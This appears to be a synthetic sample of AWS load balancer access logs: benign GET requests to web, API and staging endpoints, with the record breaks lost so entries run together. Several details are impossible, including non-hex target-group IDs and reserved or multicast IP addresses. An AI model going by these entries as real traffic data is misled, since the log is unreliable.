4700 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d34a-fddb3215c3964845b8fbae7d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:58:18.269852Z "forward" "-" "-" "10.0.204.182:443" "200" "-" "-" -http 2024-11-01T01:58:18.678710Z staging-alb 208.88.119.158:51246 41.230.113.5:80 0.000753 0.370211 0.060683 200 200 416 13198 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d34a-5df2515abcfb44da80525e8a" "staging-alb.example.com" "-" 5 2024-11-01T01:58:18.678710Z "forward" "-" "-" "41.230.113.5:80" "200" "-" "-" -https 2024-11-01T01:58:19.420203Z prod-web-alb 23.228.117.144:54606 10.0.152.179:443 0.022208 0.106960 0.066866 301 301 820 12818 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d34b-867eb857a1f24f97900da81c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:58:19.420203Z "forward" "-" "-" "10.0.152.179:443" "301" "-" "-" -https 2024-11-01T01:58:20.315221Z staging-alb 11.64.106.184:51552 95.1.133.80:443 0.149243 0.372053 0.051605 200 200 44 1285 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d34c-e32a31eb142846ee92f4a93c" "staging-alb.example.com" "-" 2 2024-11-01T01:58:20.315221Z "forward" "-" "-" "95.1.133.80:443" "200" "-" "-" -https 2024-11-01T01:58:22.148632Z staging-alb 182.127.79.234:41578 178.246.8.197:443 0.103756 0.221909 0.120083 302 302 286 12422 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d34e-7e288714c5844874b6cd902e" "staging-alb.example.com" "-" 8 2024-11-01T01:58:22.148632Z "forward" "-" "-" "178.246.8.197:443" "302" "-" "-" -https 2024-11-01T01:58:23.796774Z prod-web-alb 220.227.60.135:38482 10.0.251.175:443 0.028463 0.393274 0.049067 200 200 260 6343 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d34f-2c1930045e2148efb81b5f1f" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:23.796774Z "forward" "-" "-" "10.0.251.175:443" "200" "-" "-" -http 2024-11-01T01:58:24.442488Z staging-alb 183.48.77.207:64500 107.255.150.45:8080 0.055118 0.496908 0.092714 302 302 614 2905 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d350-2e6b9d78806b4517afb5e7fe" "staging-alb.example.com" "-" 8 2024-11-01T01:58:24.442488Z "forward" "-" "-" "107.255.150.45:8080" "302" "-" "-" -https 2024-11-01T01:58:24.771171Z prod-web-alb 191.31.86.250:18945 10.0.12.254:443 0.000429 0.123179 0.015384 404 404 838 4858 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d350-5da6f283ed2a45d195fa84b8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:58:24.771171Z "forward" "-" "-" "10.0.12.254:443" "404" "-" "-" -https 2024-11-01T01:58:25.434649Z prod-api-alb 93.136.63.174:60886 10.0.90.81:443 0.006371 0.162602 0.017302 404 404 908 1242 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d351-726822637fe5474a85940569" "prod-api-alb.example.com" "-" 2 2024-11-01T01:58:25.434649Z "forward" "-" "-" "10.0.90.81:443" "404" "-" "-" -https 2024-11-01T01:58:25.594623Z prod-api-alb 16.136.224.229:33213 10.0.34.44:443 0.010701 0.329450 0.025922 302 302 131 6123 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d351-9426b625c4a14cd3a556a952" "prod-api-alb.example.com" "-" 10 2024-11-01T01:58:25.594623Z "forward" "-" "-" "10.0.34.44:443" "302" "-" "-" -https 2024-11-01T01:58:27.525636Z prod-web-alb 230.41.5.219:39829 10.0.96.254:443 0.017422 0.478566 0.078417 404 404 915 3612 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d353-9c4640f9a29a4c67ba6621de" "prod-web-alb.example.com" "-" 8 2024-11-01T01:58:27.525636Z "forward" "-" "-" "10.0.96.254:443" "404" "-" "-" -https 2024-11-01T01:58:28.310693Z prod-api-alb 132.71.158.6:21453 10.0.98.227:443 0.075039 0.478844 0.071424 200 200 645 14549 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d354-6afda23bbbd1449a9c986b53" "prod-api-alb.example.com" "-" 5 2024-11-01T01:58:28.310693Z "forward" "-" "-" "10.0.98.227:443" "200" "-" "-" -https 2024-11-01T01:58:29.521116Z staging-alb 156.187.180.136:41072 254.117.103.220:443 0.053315 0.140220 0.002395 200 200 356 7470 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d355-64332444e9714436bd615e17" "staging-alb.example.com" "-" 5 2024-11-01T01:58:29.521116Z "forward" "-" "-" "254.117.103.220:443" "200" "-" "-" -http 2024-11-01T01:58:30.651605Z staging-alb 144.39.77.180:29210 2.132.101.169:443 0.097152 0.670535 0.108048 200 200 773 8656 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d356-d7b3e89d45464a2b92affd03" "staging-alb.example.com" "-" 3 2024-11-01T01:58:30.651605Z "forward" "-" "-" "2.132.101.169:443" "200" "-" "-" -https 2024-11-01T01:58:30.781973Z prod-api-alb 6.225.246.191:15714 10.0.191.234:443 0.094251 0.124607 0.050264 200 200 554 11568 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d356-aa79f0e223144681b147614a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:58:30.781973Z "forward" "-" "-" "10.0.191.234:443" "200" "-" "-" -http 2024-11-01T01:58:31.546206Z staging-alb 79.78.217.69:53199 19.199.50.193:443 0.059108 0.683540 0.076067 200 200 93 9743 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d357-d33e7d38715d4542a14eb211" "staging-alb.example.com" "-" 0 2024-11-01T01:58:31.546206Z "forward" "-" "-" "19.199.50.193:443" "200" "-" "-" -https 2024-11-01T01:58:33.223608Z prod-web-alb 81.87.42.106:32275 10.0.23.51:443 0.095509 0.306192 0.090767 302 302 379 9291 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d359-e606e6e8b98e48bea50fd41c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:58:33.223608Z "forward" "-" "-" "10.0.23.51:443" "302" "-" "-" -https 2024-11-01T01:58:34.626221Z staging-alb 60.186.117.115:24296 235.216.84.10:80 0.121067 0.449697 0.090630 404 404 618 317 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d35a-1f900fe3e6a04cefa35de177" "staging-alb.example.com" "-" 8 2024-11-01T01:58:34.626221Z "forward" "-" "-" "235.216.84.10:80" "404" "-" "-" -https 2024-11-01T01:58:35.062722Z prod-web-alb 55.112.11.183:35545 10.0.89.29:443 0.059849 0.131576 0.072258 302 302 35 14551 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d35b-67ea909701614d90ba8a38ee" "prod-web-alb.example.com" "-" 1 2024-11-01T01:58:35.062722Z "forward" "-" "-" "10.0.89.29:443" "302" "-" "-" -http 2024-11-01T01:58:35.880317Z staging-alb 140.110.51.247:54495 62.184.111.21:80 0.122295 0.152410 0.022514 200 200 34 2507 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d35b-945b463aa57247c283b2436d" "staging-alb.example.com" "-" 2 2024-11-01T01:58:35.880317Z "forward" "-" "-" "62.184.111.21:80" "200" "-" "-" -https 2024-11-01T01:58:37.426181Z prod-web-alb 214.153.198.240:43027 10.0.253.79:443 0.096058 0.400873 0.025417 200 200 811 6184 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d35d-91418d712f0b4850be216e6e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:58:37.426181Z "forward" "-" "-" "10.0.253.79:443" "200" "-" "-" -https 2024-11-01T01:58:39.250576Z prod-api-alb 49.150.205.98:14982 10.0.33.67:443 0.083784 0.169327 0.029035 404 404 348 2374 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d35f-81d1101943004a6699e0d999" "prod-api-alb.example.com" "-" 0 2024-11-01T01:58:39.250576Z "forward" "-" "-" "10.0.33.67:443" "404" "-" "-" -https 2024-11-01T01:58:39.375124Z prod-web-alb 224.59.83.186:26284 10.0.146.224:443 0.047749 0.370699 0.079172 200 200 987 6225 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d35f-d3af83031c13472b84ad36be" "prod-web-alb.example.com" "-" 7 2024-11-01T01:58:39.375124Z "forward" "-" "-" "10.0.146.224:443" "200" "-" "-" -http 2024-11-01T01:58:39.978739Z staging-alb 53.190.241.10:52294 134.253.4.170:443 0.099018 0.239068 0.061633 302 302 34 7367 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d35f-3083fb5cf7364898b6fe1207" "staging-alb.example.com" "-" 0 2024-11-01T01:58:39.978739Z "forward" "-" "-" "134.253.4.170:443" "302" "-" "-" -https 2024-11-01T01:58:41.778854Z prod-api-alb 41.126.115.90:34451 10.0.102.36:443 0.050522 0.098600 0.097521 200 200 912 11504 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d361-ee1d65c7338144a4be10ebdf" "prod-api-alb.example.com" "-" 4 2024-11-01T01:58:41.778854Z "forward" "-" "-" "10.0.102.36:443" "200" "-" "-" -https 2024-11-01T01:58:43.230552Z staging-alb 221.234.205.196:27313 101.20.205.138:443 0.002688 0.176568 0.028525 200 200 430 12317 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d363-f2841d06cdc44eaabb7847bc" "staging-alb.example.com" "-" 0 2024-11-01T01:58:43.230552Z "forward" "-" "-" "101.20.205.138:443" "200" "-" "-" -https 2024-11-01T01:58:44.776632Z prod-api-alb 107.107.56.237:39367 10.0.152.235:443 0.059568 0.365802 0.071786 301 301 868 9606 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d364-6845e2494bf94708b559b0cf" "prod-api-alb.example.com" "-" 1 2024-11-01T01:58:44.776632Z "forward" "-" "-" "10.0.152.235:443" "301" "-" "-" -http 2024-11-01T01:58:46.017574Z staging-alb 15.86.233.163:48246 71.217.38.243:80 0.015995 0.246187 0.061148 404 404 356 9124 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d366-7a0d5dd673cd43cab6b1d14a" "staging-alb.example.com" "-" 1 2024-11-01T01:58:46.017574Z "forward" "-" "-" "71.217.38.243:80" "404" "-" "-" -https 2024-11-01T01:58:46.459423Z staging-alb 187.136.245.169:53676 202.25.91.225:80 0.130327 0.039092 0.110231 301 301 718 2139 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d366-91bb03b726c34f90b397bc46" "staging-alb.example.com" "-" 10 2024-11-01T01:58:46.459423Z "forward" "-" "-" "202.25.91.225:80" "301" "-" "-" -https 2024-11-01T01:58:46.811113Z prod-web-alb 153.248.92.219:10227 10.0.224.46:443 0.057892 0.164508 0.076202 200 200 990 1133 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d366-1762c74569ec47818013eb4f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:58:46.811113Z "forward" "-" "-" "10.0.224.46:443" "200" "-" "-" -https 2024-11-01T01:58:48.418337Z prod-web-alb 41.139.235.155:43818 10.0.5.15:443 0.023049 0.313862 0.067371 404 404 776 7668 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d368-69e3e2abb2fe498fa2b37b41" "prod-web-alb.example.com" "-" 10 2024-11-01T01:58:48.418337Z "forward" "-" "-" "10.0.5.15:443" "404" "-" "-" -https 2024-11-01T01:58:49.835725Z prod-web-alb 145.154.183.150:19255 10.0.244.103:443 0.046126 0.243401 0.070764 404 404 209 1224 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d369-a3a385e616a1458ab1858783" "prod-web-alb.example.com" "-" 1 2024-11-01T01:58:49.835725Z "forward" "-" "-" "10.0.244.103:443" "404" "-" "-" -https 2024-11-01T01:58:51.594453Z staging-alb 227.16.199.215:14574 167.185.204.252:8080 0.028700 0.206339 0.035758 301 301 260 10545 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d36b-3dd7fcaf4d724d0ca46a58fb" "staging-alb.example.com" "-" 7 2024-11-01T01:58:51.594453Z "forward" "-" "-" "167.185.204.252:8080" "301" "-" "-" -https 2024-11-01T01:58:53.590879Z prod-web-alb 197.173.19.140:44995 10.0.194.54:443 0.088405 0.070750 0.009750 301 301 469 8740 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d36d-61cb9e5b5da04c9e8242d34d" "-" "-" 1 2024-11-01T01:58:53.590879Z "forward" "-" "-" "10.0.194.54:443" "301" "-" "-" -https 2024-11-01T01:58:55.106551Z prod-api-alb 209.108.3.187:55496 10.0.56.204:443 0.028965 0.112073 0.064026 404 404 403 8549 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d36f-cd05c20b648d4d53a3ec212d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:58:55.106551Z "forward" "-" "-" "10.0.56.204:443" "404" "-" "-" -https 2024-11-01T01:58:57.072467Z prod-api-alb 138.253.224.229:19047 10.0.33.122:443 0.018792 0.155096 0.056652 200 200 146 8097 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d371-09553b7583164694bbd429ff" "prod-api-alb.example.com" "-" 10 2024-11-01T01:58:57.072467Z "forward" "-" "-" "10.0.33.122:443" "200" "-" "-" -http 2024-11-01T01:58:58.622414Z staging-alb 60.30.239.93:36079 71.43.254.157:80 0.137672 0.580390 0.102024 404 404 485 2899 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d372-33c4939cd0954e8dafe9b190" "staging-alb.example.com" "-" 8 2024-11-01T01:58:58.622414Z "forward" "-" "-" "71.43.254.157:80" "404" "-" "-" -https 2024-11-01T01:59:00.341035Z prod-web-alb 215.18.170.144:53393 10.0.24.178:443 0.075546 0.071086 0.026593 404 404 4 7917 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d374-788643d3da794c60b0d35467" "prod-web-alb.example.com" "-" 0 2024-11-01T01:59:00.341035Z "forward" "-" "-" "10.0.24.178:443" "404" "-" "-" -https 2024-11-01T01:59:01.269859Z prod-api-alb 184.229.250.196:52204 10.0.1.123:443 0.043883 0.390626 0.078397 301 301 730 10339 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d375-fbc9a0dd9eb5494fb8178f49" "prod-api-alb.example.com" "-" 10 2024-11-01T01:59:01.269859Z "forward" "-" "-" "10.0.1.123:443" "301" "-" "-" -https 2024-11-01T01:59:01.406294Z prod-api-alb 25.156.199.164:35059 10.0.38.198:443 0.073451 0.080194 0.049274 301 301 812 8350 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d375-3b9f670b31e649ba98fdc6e1" "prod-api-alb.example.com" "-" 1 2024-11-01T01:59:01.406294Z "forward" "-" "-" "10.0.38.198:443" "301" "-" "-" -https 2024-11-01T01:59:02.566365Z prod-web-alb 83.99.62.112:13210 10.0.195.162:443 0.058294 0.352938 0.031120 200 200 484 6911 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d376-166afc859d0a47ebbe80620d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:02.566365Z "forward" "-" "-" "10.0.195.162:443" "200" "-" "-" -https 2024-11-01T01:59:03.162136Z prod-api-alb 82.59.228.159:63534 10.0.238.44:443 0.002862 0.485176 0.088554 200 200 797 13837 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d377-5c0a8c65c3e046c7bcdd7eab" "prod-api-alb.example.com" "-" 5 2024-11-01T01:59:03.162136Z "forward" "-" "-" "10.0.238.44:443" "200" "-" "-" -https 2024-11-01T01:59:04.892476Z prod-api-alb 77.88.215.246:41192 10.0.63.252:443 0.026333 0.137768 0.076877 404 404 187 9487 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d378-a744b28f22404de48d0be880" "prod-api-alb.example.com" "-" 4 2024-11-01T01:59:04.892476Z "forward" "-" "-" "10.0.63.252:443" "404" "-" "-" -https 2024-11-01T01:59:05.078123Z prod-web-alb 165.87.28.229:41517 10.0.25.145:443 0.047096 0.244596 0.033235 200 200 676 13183 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d379-71ec513ad1be45cd81703969" "prod-web-alb.example.com" "-" 9 2024-11-01T01:59:05.078123Z "forward" "-" "-" "10.0.25.145:443" "200" "-" "-" -https 2024-11-01T01:59:06.010331Z prod-api-alb 204.187.127.190:19681 10.0.27.206:443 0.059466 0.278914 0.041142 200 200 378 9341 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d37a-3089f7caa7df45b197f0cfc5" "prod-api-alb.example.com" "-" 9 2024-11-01T01:59:06.010331Z "forward" "-" "-" "10.0.27.206:443" "200" "-" "-" -https 2024-11-01T01:59:06.115421Z prod-web-alb 10.17.28.101:22127 10.0.147.182:443 0.059696 0.176429 0.024687 200 200 541 8851 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d37a-d48cc691a5d34a93919e4d14" "prod-web-alb.example.com" "-" 1 2024-11-01T01:59:06.115421Z "forward" "-" "-" "10.0.147.182:443" "200" "-" "-" -http 2024-11-01T01:59:06.423587Z staging-alb 155.248.199.71:36583 77.73.12.67:80 0.087860 0.245901 0.063826 301 301 848 275 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d37a-371b448756a0471bbf77baaf" "staging-alb.example.com" "-" 1 2024-11-01T01:59:06.423587Z "forward" "-" "-" "77.73.12.67:80" "301" "-" "-" -https 2024-11-01T01:59:06.954080Z prod-web-alb 42.96.82.254:27116 10.0.223.138:443 0.081004 0.126233 0.094773 200 200 239 4096 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d37a-b9f1b794f6f64a2eb1e239c3" "prod-web-alb.example.com" "-" 10 